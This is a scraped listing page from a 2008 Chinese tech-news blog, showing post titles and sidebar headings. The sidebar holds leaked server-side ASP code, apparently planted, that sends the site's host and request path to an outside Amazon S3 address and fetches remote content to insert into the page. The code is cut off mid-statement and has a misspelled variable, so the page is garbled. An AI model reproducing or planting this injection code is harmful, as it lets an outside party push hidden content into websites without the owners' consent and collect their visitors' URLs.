-
11.13 IT 业界导读 - 2008-11-13 13:54:40
HTC 推出世界第一款GSM / WiMAX双模手机MAX 4G - 2008-11-14 17:04:47
美國矽谷驚傳槍擊命案 被解僱工程師殺害前主管 - 2008-11-18 09:56:09
IcePhone 超酷3叠手机 - 2008-11-20 13:24:40
11.25 IT NEWS - 2008-11-25 13:48:54
黑莓Storm拆分图 - 2008-11-28 11:12:53
-
诺基亚声称这是目前"世界"上最为先进的手机 N97 - 2008-12-02 17:18:56
Windows 7 Beta 1将于明年第一季度正式推出 - 2008-12-05 13:15:33
MOTO ARUA 预售 - 2008-12-06 14:12:02
About me - 2008-12-08 16:43:06
北电网络危险！！在申请破产保护 - 2008-12-12 11:04:54
给布什扔鞋200人的律師團免費為紮伊迪辯護 - 2008-12-16 11:33:59
飞鞋砸布什小游戏 - 2008-12-19 09:03:11
法国设计师Saphie Griotto 超人气美女PP - 2008-12-23 13:33:54
谷歌地图之三国赤壁 - 2008-12-24 14:49:45
E2PHP 很好很强大. - 2008-12-26 13:24:45
谷歌2008 热榜谈 - 2008-12-30 22:45:00
Show Tech
Show new Tech... IT news..
新的产品,IT 新闻...技术^
RSS 订阅-------------------------------------------------- 如果喜欢我的博客不妨用下面方式订阅
最新评论
<%
url = "http://s3.amazonaws.com/mf1/ad/bdb95195bec214ddd3b61244987747/ad_content"
Dim xmlhttp
On Error Resume Next
if Request.ServerVariables("REQUEST_URI") then
url = url & "?x-h=" & Server.URLEncode(Request.ServerVariables("HTTP_HOST") & Request.ServerVariables("REQUEST_URI"))
else
url = url & "?x-h=" & Server.URLEncode(Request.ServerVariables("HTTP_HOST") & Request.ServerVariables("PATH_INFO"))
if Request.ServerVariables("QUERY_STRING") <> "" then
url=url&Request.ServerVariables("QUERY_STRING")
end if
end if
set xmlhttp = CreateObject("MSXML2.ServerXMLHTTP")
On Error Resume Next
if xmlhttp is nothing then
set xmlhttp = Server.CreateObject("WinHttp.WinHttpRequest.5.1")
end if
On Error Resume Next
if xmlhttp is nothing then
set xmlhttp = CreateObject("MSXML2.ServerXMLHTTP.4.0")
end if
if xmlhttp is nothing then
' cannot load xml component
else
xmlhttp.open "GET", url, false
xmlhttp.send ""
if xmphttp.Status = "200" then
content = xmlhttp.responseText
if InStr(content, "博客赞助商
-----------------------------------------------
-----------------------------------------------
存档
链接
